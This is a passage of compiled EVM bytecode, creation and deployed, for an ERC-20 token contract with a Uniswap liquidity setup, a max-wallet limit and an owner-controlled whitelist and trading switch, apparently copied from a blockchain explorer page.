168201806040525081019061106a919061278a565b50505080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611140611230565b73ffffffffffffffffffffffffffffffffffffffff1661115e610adf565b73ffffffffffffffffffffffffffffffffffffffff16146111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab9061253a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b9061284f565b60405180910390fd5b61122d81611929565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f90612973565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113f6919061211c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611589573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114c05750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114fd57506114ce610adf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061153a575061150b610adf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611570906129df565b60405180910390fd5b6115848383836119ed565b611924565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561161257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116515750611621610adf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561170757600654816116bb8461096f565b6116c59190612498565b1115611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612a4b565b60405180910390fd5b5b600960019054906101000a900460ff166117fc57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117bc5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290612ab7565b60405180910390fd5b5b60006118073061096f565b90506103e86008546118199190612b06565b811115611833576103e86008546118309190612b06565b90505b6107d06008546118439190612b06565b811015801561185f5750600960009054906101000a900460ff16155b80156118b95750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611917576001600960006101000a81548160ff0219169083151502179055506118e281611c71565b600047905060008111156118fa576118f981611ebd565b5b6000600960006101000a81548160ff021916908315150217905550505b6119228484846119ed565b505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5490612ba9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490612c3b565b60405180910390fd5b611ad8838383611f34565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5690612ccd565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bf49190612498565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c58919061211c565b60405180910390a3611c6b848484611f39565b50505050565b6000600267ffffffffffffffff811115611c8e57611c8d612ced565b5b604051908082528060200260200182016040528015611cbc5781602001602082028036833780820191505090505b5090503081600081518110611cd457611cd361255a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d7457600080fd5b505afa158015611d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dac9190612679565b81600181518110611dc057611dbf61255a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e25307f000000000000000000000000000000000000000000000000000000000000000084611238565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e87959493929190612dda565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b505050505050565b6000611ec7610adf565b73ffffffffffffffffffffffffffffffffffffffff1682604051611eea90612e65565b60006040518083038185875af1925050503d8060008114611f27576040519150601f19603f3d011682016040523d82523d6000602084013e611f2c565b606091505b505090505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f78578082015181840152602081019050611f5d565b83811115611f87576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fa982611f3e565b611fb38185611f49565b9350611fc3818560208601611f5a565b611fcc81611f8d565b840191505092915050565b60006020820190508181036000830152611ff18184611f9e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061202e82612003565b9050919050565b61203e81612023565b811461204957600080fd5b50565b60008135905061205b81612035565b92915050565b6000819050919050565b61207481612061565b811461207f57600080fd5b50565b6000813590506120918161206b565b92915050565b600080604083850312156120ae576120ad611ff9565b5b60006120bc8582860161204c565b92505060206120cd85828601612082565b9150509250929050565b60008115159050919050565b6120ec816120d7565b82525050565b600060208201905061210760008301846120e3565b92915050565b61211681612061565b82525050565b6000602082019050612131600083018461210d565b92915050565b6000806000606084860312156121505761214f611ff9565b5b600061215e8682870161204c565b935050602061216f8682870161204c565b925050604061218086828701612082565b9150509250925092565b600060ff82169050919050565b6121a08161218a565b82525050565b60006020820190506121bb6000830184612197565b92915050565b6121ca81612023565b82525050565b60006020820190506121e560008301846121c1565b92915050565b6121f4816120d7565b81146121ff57600080fd5b50565b600081359050612211816121eb565b92915050565b6000806040838503121561222e5761222d611ff9565b5b600061223c8582860161204c565b925050602061224d85828601612202565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261227c5761227b612257565b5b8235905067ffffffffffffffff8111156122995761229861225c565b5b6020830191508360208202830111156122b5576122b4612261565b5b9250929050565b600080602083850312156122d3576122d2611ff9565b5b600083013567ffffffffffffffff8111156122f1576122f0611ffe565b5b6122fd85828601612266565b92509250509250929050565b60006020828403121561231f5761231e611ff9565b5b600061232d8482850161204c565b91505092915050565b6000806040838503121561234d5761234c611ff9565b5b600061235b8582860161204c565b925050602061236c8582860161204c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123bd57607f821691505b602082108114156123d1576123d0612376565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612433602883611f49565b915061243e826123d7565b604082019050919050565b6000602082019050818103600083015261246281612426565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124a382612061565b91506124ae83612061565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124e3576124e2612469565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612524602083611f49565b915061252f826124ee565b602082019050919050565b6000602082019050818103600083015261255381612517565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061259482612061565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125c7576125c6612469565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061262e602583611f49565b9150612639826125d2565b604082019050919050565b6000602082019050818103600083015261265d81612621565b9050919050565b60008151905061267381612035565b92915050565b60006020828403121561268f5761268e611ff9565b5b600061269d84828501612664565b91505092915050565b60006040820190506126bb60008301856121c1565b6126c860208301846121c1565b9392505050565b6000819050919050565b6000819050919050565b60006126fe6126f96126f4846126cf565b6126d9565b612061565b9050919050565b61270e816126e3565b82525050565b600060c08201905061272960008301896121c1565b612736602083018861210d565b6127436040830187612705565b6127506060830186612705565b61275d60808301856121c1565b61276a60a083018461210d565b979650505050505050565b6000815190506127848161206b565b92915050565b6000806000606084860312156127a3576127a2611ff9565b5b60006127b186828701612775565b93505060206127c286828701612775565b92505060406127d386828701612775565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612839602683611f49565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602483611f49565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061295d602283611f49565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e6f742073746172746564000000000000000000000000000000000000000000600082015250565b60006129c9600b83611f49565b91506129d482612993565b602082019050919050565b600060208201905081810360008301526129f8816129bc565b9050919050565b7f6d61782077616c6c657420726561636865640000000000000000000000000000600082015250565b6000612a35601283611f49565b9150612a40826129ff565b602082019050919050565b60006020820190508181036000830152612a6481612a28565b9050919050565b7f54726164696e6720636865636b696e67202e2e2e000000000000000000000000600082015250565b6000612aa1601483611f49565b9150612aac82612a6b565b602082019050919050565b60006020820190508181036000830152612ad081612a94565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b1182612061565b9150612b1c83612061565b925082612b2c57612b2b612ad7565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b93602583611f49565b9150612b9e82612b37565b604082019050919050565b60006020820190508181036000830152612bc281612b86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c25602383611f49565b9150612c3082612bc9565b604082019050919050565b60006020820190508181036000830152612c5481612c18565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612cb7602683611f49565b9150612cc282612c5b565b604082019050919050565b60006020820190508181036000830152612ce681612caa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d5181612023565b82525050565b6000612d638383612d48565b60208301905092915050565b6000602082019050919050565b6000612d8782612d1c565b612d918185612d27565b9350612d9c83612d38565b8060005b83811015612dcd578151612db48882612d57565b9750612dbf83612d6f565b925050600181019050612da0565b5085935050505092915050565b600060a082019050612def600083018861210d565b612dfc6020830187612705565b8181036040830152612e0e8186612d7c565b9050612e1d60608301856121c1565b612e2a608083018461210d565b9695505050505050565b600081905092915050565b50565b6000612e4f600083612e34565b9150612e5a82612e3f565b600082019050919050565b6000612e7082612e42565b915081905091905056fea2646970667358221220e330c8ab846d16e7e8e192973e6d1130301cbc7d00a45f5001e85b71e21bdc9864736f6c63430008090033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103c7578063a457c2d7146103f2578063a9059cbb1461042f578063c9567bf91461046c578063dd62ed3e14610483578063f2fde38b146104c057610135565b8063715018a61461032c57806389f9a1d3146103435780638a8c523c1461036e5780638da5cb5b1461038557806390927881146103b057610135565b806339509351116100f2578063395093511461023557806349bd5a5e146102725780634bf0941b1461029d5780634fff1be8146102c657806370a08231146102ef57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e9565b60405161015c9190611fd7565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612097565b61057b565b60405161019991906120f2565b60405180910390f35b3480156101ae57600080fd5b506101b7610599565b6040516101c4919061211c565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612137565b6105a3565b60405161020191906120f2565b60405180910390f35b34801561021657600080fd5b5061021f61069b565b60405161022c91906121a6565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190612097565b6106a4565b60405161026991906120f2565b60405180910390f35b34801561027e57600080fd5b50610287610750565b60405161029491906121d0565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612217565b610776565b005b3480156102d257600080fd5b506102ed60048036038101906102e891906122bc565b61089b565b005b3480156102fb57600080fd5b5061031660048036038101906103119190612309565b61096f565b604051610323919061211c565b60405180910390f35b34801561033857600080fd5b506103416109b8565b005b34801561034f57600080fd5b50610358610a40565b604051610365919061211c565b60405180910390f35b34801561037a57600080fd5b50610383610a46565b005b34801561039157600080fd5b5061039a610adf565b6040516103a791906121d0565b60405180910390f35b3480156103bc57600080fd5b506103c5610b08565b005b3480156103d357600080fd5b506103dc610b8f565b6040516103e99190611fd7565b60405180910390f35b3480156103fe57600080fd5b5061041960048036038101906104149190612097565b610c21565b60405161042691906120f2565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190612097565b610d0c565b60405161046391906120f2565b60405180910390f35b34801561047857600080fd5b50610481610d2a565b005b34801561048f57600080fd5b506104aa60048036038101906104a59190612336565b6110b1565b6040516104b7919061211c565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190612309565b611138565b005b6060600480546104f8906123a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610524906123a5565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905090565b600061058f610588611230565b8484611238565b6001905092915050565b6000600354905090565b60006105b0848484611403565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fb611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561067b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067290612449565b60405180910390fd5b61068f85610687611230565b858403611238565b60019150509392505050565b60006012905090565b60006107466106b1611230565b8484600260006106bf611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107419190612498565b611238565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61077e611230565b73ffffffffffffffffffffffffffffffffffffffff1661079c610adf565b73ffffffffffffffffffffffffffffffffffffffff16146107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e99061253a565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f2a5940f88fedd63fcb65e73697987711021715cd3b8e3603f4ca532bf00bdac78260405161088f91906120f2565b60405180910390a25050565b6108a3611230565b73ffffffffffffffffffffffffffffffffffffffff166108c1610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090e9061253a565b60405180910390fd5b60005b8282905081101561096a5761095783838381811061093b5761093a61255a565b5b90506020020160208101906109509190612309565b6001610776565b808061096290612589565b91505061091a565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c0611230565b73ffffffffffffffffffffffffffffffffffffffff166109de610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b9061253a565b60405180910390fd5b610a3e6000611929565b565b60065481565b610a4e611230565b73ffffffffffffffffffffffffffffffffffffffff16610a6c610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab99061253a565b60405180910390fd5b6001600960016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b10611230565b73ffffffffffffffffffffffffffffffffffffffff16610b2e610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061253a565b60405180910390fd5b600854600681905550565b606060058054610b9e906123a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bca906123a5565b8015610c175780601f10610bec57610100808354040283529160200191610c17565b820191906000526020600020905b815481529060010190602001808311610bfa57829003601f168201915b5050505050905090565b60008060026000610c30611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490612644565b60405180910390fd5b610d01610cf8611230565b85858403611238565b600191505092915050565b6000610d20610d19611230565b8484611403565b6001905092915050565b610d32611230565b73ffffffffffffffffffffffffffffffffffffffff16610d50610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d9061253a565b60405180910390fd5b60007f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0e57600080fd5b505afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190612679565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec857600080fd5b505afa158015610edc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f009190612679565b6040518363ffffffff1660e01b8152600401610f1d9291906126a6565b602060405180830381600087803b158015610f3757600080fd5b505af1158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f9190612679565b9050610fa4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d610f9f3061096f565b611238565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610feb3061096f565b600080610ff6610adf565b426040518863ffffffff1660e01b815260040161101896959493929190612714565b6060604051808303818588803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106a919061278a565b50505080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611140611230565b73ffffffffffffffffffffffffffffffffffffffff1661115e610adf565b73ffffffffffffffffffffffffffffffffffffffff16146111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab9061253a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b9061284f565b60405180910390fd5b61122d81611929565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f90612973565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113f6919061211c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611589573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114c05750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114fd57506114ce610adf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061153a575061150b610adf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611570906129df565b60405180910390fd5b6115848383836119ed565b611924565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561161257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116515750611621610adf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a957507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561170757600654816116bb8461096f565b6116c59190612498565b1115611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612a4b565b60405180910390fd5b5b600960019054906101000a900460ff166117fc57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117bc5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290612ab7565b60405180910390fd5b5b60006118073061096f565b90506103e86008546118199190612b06565b811115611833576103e86008546118309190612b06565b90505b6107d06008546118439190612b06565b811015801561185f5750600960009054906101000a900460ff16155b80156118b95750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611917576001600960006101000a81548160ff0219169083151502179055506118e281611c71565b600047905060008111156118fa576118f981611ebd565b5b6000600960006101000a81548160ff021916908315150217905550505b6119228484846119ed565b505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5490612ba9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490612c3b565b60405180910390fd5b611ad8838383611f34565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5690612ccd565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bf49190612498565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c58919061211c565b60405180910390a3611c6b848484611f39565b50505050565b6000600267ffffffffffffffff811115611c8e57611c8d612ced565b5b604051908082528060200260200182016040528015611cbc5781602001602082028036833780820191505090505b5090503081600081518110611cd457611cd361255a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d7457600080fd5b505afa158015611d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dac9190612679565b81600181518110611dc057611dbf61255a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e25307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611238565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e87959493929190612dda565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b505050505050565b6000611ec7610adf565b73ffffffffffffffffffffffffffffffffffffffff1682604051611eea90612e65565b60006040518083038185875af1925050503d8060008114611f27576040519150601f19603f3d011682016040523d82523d6000602084013e611f2c565b606091505b505090505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f78578082015181840152602081019050611f5d565b83811115611f87576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fa982611f3e565b611fb38185611f49565b9350611fc3818560208601611f5a565b611fcc81611f8d565b840191505092915050565b60006020820190508181036000830152611ff18184611f9e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061202e82612003565b9050919050565b61203e81612023565b811461204957600080fd5b50565b60008135905061205b81612035565b92915050565b6000819050919050565b61207481612061565b811461207f57600080fd5b50565b6000813590506120918161206b565b92915050565b600080604083850312156120ae576120ad611ff9565b5b60006120bc8582860161204c565b92505060206120cd85828601612082565b9150509250929050565b60008115159050919050565b6120ec816120d7565b82525050565b600060208201905061210760008301846120e3565b92915050565b61211681612061565b82525050565b6000602082019050612131600083018461210d565b92915050565b6000806000606084860312156121505761214f611ff9565b5b600061215e8682870161204c565b935050602061216f8682870161204c565b925050604061218086828701612082565b9150509250925092565b600060ff82169050919050565b6121a08161218a565b82525050565b60006020820190506121bb6000830184612197565b92915050565b6121ca81612023565b82525050565b60006020820190506121e560008301846121c1565b92915050565b6121f4816120d7565b81146121ff57600080fd5b50565b600081359050612211816121eb565b92915050565b6000806040838503121561222e5761222d611ff9565b5b600061223c8582860161204c565b925050602061224d85828601612202565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261227c5761227b612257565b5b8235905067ffffffffffffffff8111156122995761229861225c